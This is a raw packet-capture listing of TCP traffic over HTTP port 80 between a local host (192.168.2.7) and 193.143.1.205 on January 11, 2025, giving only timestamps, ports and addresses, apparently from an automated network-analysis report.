Jan 11, 2025 06:53:49.759352922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.760049105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760060072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760071993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760093927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760094881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.760106087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760117054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760129929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.760145903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.760180950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.761034012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761045933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761053085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761063099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761070013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761075974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761089087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761202097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.761202097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.761202097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.761909962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761920929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761934996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761946917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761959076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761967897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.761971951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.761985064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.762012005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.780036926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.780075073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.780134916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.808336020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808361053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808372021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808417082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808423996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808429956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808438063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.808636904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.808798075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.846807003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.846827984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.846841097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.847007990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.874946117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.874960899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.874974012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.874988079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875001907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875020981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875061035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875072956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875101089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875113964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875174046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.875211000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.875420094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875432014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875446081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875494957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875508070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875526905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.875559092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.875813961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875824928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875835896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875849962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875864029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.875915051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.875930071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876005888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.876267910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876280069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876293898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876308918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876321077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876322985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.876332998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876380920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.876463890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876473904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876486063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876497984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876509905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.876512051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876526117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.876569033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.877361059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877374887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877388000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877398968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877418995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877428055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.877439022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877451897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877463102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877479076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877491951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877492905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.877506018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877520084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.877541065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.877568960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.878221035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878233910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878248930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878261089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878292084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878304005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878315926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878330946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878331900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.878371954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.878397942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.878452063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878463030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878475904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878488064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.878526926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.878551960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.879225016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.879236937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.879249096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.879285097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.880016088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.894701958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897054911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897077084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897092104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897105932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897109032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897119045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897146940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897183895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897188902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897196054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897211075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897222996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897234917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897248983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897281885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897433996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897445917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897458076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897469997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.897484064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.897504091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.906498909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.906549931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.935475111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935491085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935512066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935527086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935539007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935551882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935564995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.935587883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.935625076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.963459015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963507891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963519096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963531017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963545084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963557959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963602066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.963603020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963613033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.963615894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963665962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.963921070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963934898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963947058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963958979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963973045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.963973045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.963987112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964005947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.964024067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.964152098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964163065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964174032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964205980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.964206934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964217901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964230061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964242935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.964253902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.964298964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992106915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992126942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992140055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992152929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992165089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992177963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992191076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992192984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992224932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992229939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992244005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992254972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992257118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992269039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992301941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992327929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992444038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992455006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992468119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992487907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992487907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992501020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992542028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992666006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992712021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992712975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992723942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992736101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992763042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992794037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992805958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992820978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992834091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992841005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992858887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.992958069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992969036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.992980003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993017912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993182898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993242025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993283987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993451118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993463039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993474960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993485928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993494987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993499994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993510962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993522882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993530035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993556976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993592978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993612051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993623018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993623972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993637085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993649960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993660927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993662119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993674040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993685961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993696928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993696928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993711948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.993719101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.993736029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994350910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994363070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994374037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994394064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994400978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994405031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994416952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994426966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994430065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994456053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994471073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994575024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994585991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994597912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994611979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994611979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994625092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994637012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994646072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994649887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994680882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994688988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.994698048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.994723082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997155905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997203112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997215986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997236013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997260094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997282028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997293949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997306108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997328997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997333050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997344971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997358084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997370958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997378111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997383118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997409105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997423887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997425079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997438908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997452974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997464895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997473955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997510910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997859001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997874022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997888088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997905970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:49.997946024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997967958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:49.997989893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.001286030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.024446011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024458885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024470091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024483919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024497032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024511099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024523020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024544001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024554968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024566889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024579048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.024580956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024593115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024610043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024624109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.024656057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.024656057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052243948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052263021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052275896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052305937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052318096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052331924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052336931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052390099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:53:50.052433014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052443981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:53:50.052457094 CET	80	49699	193.143.1.205	192.168.2.7
